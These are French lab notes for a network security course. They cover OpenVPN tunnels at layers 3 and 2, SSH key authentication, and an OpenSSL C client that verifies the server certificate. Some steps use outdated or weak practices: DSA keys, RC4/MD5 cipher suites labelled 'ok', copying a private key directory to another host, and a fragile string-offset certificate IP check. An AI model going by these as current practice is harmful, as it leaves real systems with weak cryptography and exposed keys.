### sur immortal (server) $ openvpn --dev tun1 --ifconfig 10.0.1.1 10.0.1.2 --tls-server \ --dh server-dh.pem --ca ca-cert.pem --cert server-cert.pem \ --key server-key.pem --reneg-sec 60 --verb 5 # ... # Initialization Sequence Completed $ ifconfig tun1: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500 inet 10.0.1.1 netmask 255.255.255.255 destination 10.0.1.2 inet6 fe80::1dbc:3e01:2806:830f prefixlen 64 scopeid 0x20<link> unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 2 bytes 96 (96.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ### sur nile (client1) $ openvpn --remote 172.16.0.2 --dev tun1 --ifconfig 10.0.1.2 10.0.1.1 \ --tls-client --ca ca-cert.pem --cert client1-cert.pem \ --key client1-key.pem --reneg-sec 60 --verb 5 # ... # Initialization Sequence Completed $ ifconfig tun1: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500 inet 10.0.1.2 netmask 255.255.255.255 destination 10.0.1.1 inet6 fe80::7f1c:d869:dfe2:2486 prefixlen 64 scopeid 0x20<link> unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC) RX packets 3 bytes 176 (176.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 8 bytes 416 (416.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Y'a plus qu'à tester avec un ping entre nile et immortal avec les IPs du VPN (10.0.1.1 et 10.0.1.2). Le paquet IP/ICMP est routé sur l'interface virtuelle tun1, puis intercepté par OpenVPN qui va l'encapsuler dans un paquet IP à destination des vraies IPs (172.16.0.2 et 10.0.1.2).
Faisons un ping de nile vers immortal avec les adresses du VPN :
nile $ ping 10.0.1.1 PING 10.0.1.1 (10.0.1.1) 56(84) bytes of data. 64 bytes from 10.0.1.1: icmp_seq=1 ttl=64 time=3.50 ms 64 bytes from 10.0.1.1: icmp_seq=2 ttl=64 time=3.72 ms 64 bytes from 10.0.1.1: icmp_seq=3 ttl=64 time=1.44 ms ...
On reçoit bien le ping sur immortal d'abord via l'interface physique eth1 (UDP, protocole OpenVPN), puis ensuite en clair sur l'interface tun1 (protocole ICMP)… C'est gagné
immortal $ tcpdump -i eth1 11:31:29.509923 IP 10.0.0.2.openvpn > 172.16.0.2.openvpn: UDP, length 125 11:31:29.511025 IP 172.16.0.2.openvpn > 10.0.0.2.openvpn: UDP, length 125 immortal $ tcpdump -i tun1 11:36:47.999376 IP 10.0.1.2 > 10.0.1.1: ICMP echo request, id 1569, seq 400, length 64 11:36:47.999395 IP 10.0.1.1 > 10.0.1.2: ICMP echo reply, id 1569, seq 400, length 64
VPN (niveau 2)
Nous allons mettre en place un VPN de niveau 2 (Ethernet) qui va étendre le LAN 192.168.0.0/24 (opeth, atg et immortal) avec des machines distantes nile et dt hors de ce réseau… immortal va donc jouer le rôle de serveur/passerelle pour VPN. nile et dt seront les clients.
- server.conf
port 1194 proto udp dev tap0 script-security 3 #system up /root/up.sh down /root/down.sh ca ca-cert.pem cert server-cert.pem key server-key.pem dh server-dh.pem ifconfig-pool-persist ipp.txt #verify-x509-name "CN=client" verify-x509-name "client" name-prefix client-to-client # Les adresses allant de .100 to .200 sont r´eserv´ees aux clients VPN. server-bridge 192.168.0.1 255.255.255.0 192.168.0.100 192.168.0.200 # Ajout d’une route sp´ecifique vers le r´eseau 140.77.13.0/24 push "route 212.27.48.0 255.255.255.0 192.168.0.1" keepalive 10 120 comp-lzo persist-key persist-tun status openvpn-status.log verb 3
On rajoute également les fichiers /root/up.sh et /root/down.sh
$ openvpn --config server.conf # ... # Initialization Sequence Completed $ ifconfig tap0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST> mtu 1500 inet6 fe80::d8a9:b7ff:fe14:6d3e prefixlen 64 scopeid 0x20<link> ether da:a9:b7:14:6d:3e txqueuelen 100 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 27 bytes 2210 (2.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Configurons maintenant le client1 sur nile…
- client1.conf
client dev tap proto udp remote 172.16.0.2 1194 nobind persist-key persist-tun ca ca-cert.pem cert client1-cert.pem key client1-key.pem verify-x509-name "CN=server" comp-lzo verb 3 lladdr AA:AA:AA:AA:AA:01 # mettre une adresse MAC unique dans le LAN !
Puis démarrons le client VPN, on récupère normalement sur l'interface tap0 un adresse IP 192.168.0.100-200 dans le LAN…
$ openvpn --config client1.conf
à compléter…
SSH et Progammation avec OpenSSL
SSH
On suppose que l'on dispose d'une compte USERA sur HOSTA et USERB sur HOSTB. Vous pouvez utiliser la commande Unix adduser USERA pour ce faire. Si Kerberos est activé, utilisezpam-auth-update pour le désactiver au préalable.
Pour générer sur A une paire clef privée (.ssh/id_dsa) et clef publique (.ssh/id_dsa.pub) :
USERA@HOSTA$ ssh-keygen -t dsa passphrase: xxx xxx xxx xxx
On choisira de protéger sa clef privée avec une passphrase.
On ajoute sa clef publique dans le fichier .ssh/authorized_keys de la machine HOSTB :
USERB$HOSTB: mkdir .ssh USERA@HOSTA$ scp .ssh/id_*sa.pub USERB@HOSTB:.ssh/authorized_keys
ce qui peut se faire simplement en utilisant le script suivant :
USERA@HOSTA$ ssh-copy-id USERB@HOSTB
Nota Bene : cette copie avec scp (basée sur SSL comme SSH) demande le mot de passe Unix, car elle n'est encore sécurisée par nos clefs SSH.
On peut se connecter maintenant de manière complètement sécurisée avec SSH de A vers B.
USERA@HOSTA$ ssh USERB@HOSTB passphrase: ... USERB@HOSTB$ _
Ici, on saisit la passphrase pour que le client SSH puisse décoder la clef privée. Il n'y a donc plus d'authentification par mot de passe Unix.
Notons que la connexion SSH de B vers A ne fonctionne pas pour autant, car il faut effectuer les opérations symétriques. Cependant, il n'est pas nécessaire de générer une nouvelle paire de clefs SSH, on peut réutiliser celles disponibles sur la machine A.
USERA@HOSTA$ scp -r .ssh/ USERB@HOSTB:
Programmation avec OpenSSL
Nous allons mettre en place une connexion TCP/IP (socket C) sécurisée via OpenSSL entre syl (server) et immortal (client).
Vérifiez que le CN des certifcats de syl et immortal correspond bien aux adresses IP respectives de ces machines.
$ certtool --certificate-info --infile pem/syl-cert.pem $ certtool --certificate-info --infile pem/immortal-cert.pem
On compile et on lance le serveur sur syl et le client sur immortal…
syl$ cat syl-cert.pem syl-key.pem > mycert.pem syl$ ./ssl-server 8080 immortal$ ./ssl-client @immortal 8080
Un message “Hello???” est encrypté et envoyé du client au serveur qui répond par un autre message… Notez l'utilisation de SSL_write() et SSL_read().
Côté client, on peut forcer une cypher suite de la façon suivante :
/* set specific ciphers */ const char * mycipher = "RSA+RC4+MD5"; // ok // const char * mycipher = "RC4-SHA"; // ok // const char * mycipher = "EDH-DSS-AES256-SHA:AES256-SHA:DES-CBC3-SHA:RC4-MD5"; // ok int ret = SSL_CTX_set_cipher_list(ctx, mycipher); if(ret==0) printf("Warning: cipher %s not supported!\n", mycipher);
Nous allons rajouté dans le code client un peu de code pour vérifier le certificat du serveur. On ne modifie pas le code serveur.
- ssl-client.c
struct sockaddr_in addr; // cette variable devient globale /* ... */ // fonction callback à ajouter int verify_callback (int ok, X509_STORE_CTX *store) { int depth = X509_STORE_CTX_get_error_depth(store); X509 *cert = X509_STORE_CTX_get_current_cert(store); int err = X509_STORE_CTX_get_error(store); if(depth > 0) return ok; // just check server certif IP (at depth 0), else preverify "ok" is enough... printf("+++++ check peer certificate +++++\n"); printf(" * preverify ok = %d\n", ok); printf(" * chain depth = %d\n", depth); printf(" * error code %i (%s)\n", err, X509_verify_cert_error_string(err)); char data[256]; X509_NAME_oneline(X509_get_issuer_name(cert), data, 256); printf(" * issuer = %s\n", data); X509_NAME_oneline(X509_get_subject_name(cert), data, 256); printf(" * subject = %s\n", data); char * certifip = data+4; // printf(" * certificate IP = %s\n", certifip); char * serverip = inet_ntoa(addr.sin_addr); // printf(" * server IP = %s\n", serverip); if (ok) { if(strcmp(certifip,serverip) == 0) { printf("SUCCESS: certificate IP (%s) matches server IP (%s)!\n", certifip, serverip); return 1; // continue verification } else { printf("FAILURE: certificate IP (%s) does not match server IP (%s)!\n", certifip, serverip); return 0; // stop verification } } return 0; // stop verification } int main(int count, char *strings[]) { SSL_CTX *ctx; int server; SSL *ssl; char buf[1024]; int bytes; char *hostname, *portnum; if(count != 3) { printf("usage: %s <hostname> <portnum>\n", strings[0]); exit(0); } SSL_library_init(); hostname=strings[1]; portnum=strings[2]; ctx = InitCTX(); // code à ajouter pour vérifier le certificat du serveur... SSL_CTX_load_verify_locations (ctx, "ca-cert.pem",0); SSL_CTX_set_verify (ctx, SSL_VERIFY_PEER, verify_callback); server = OpenConnection(hostname, atoi(portnum)); ssl = SSL_new(ctx); /* ... */ }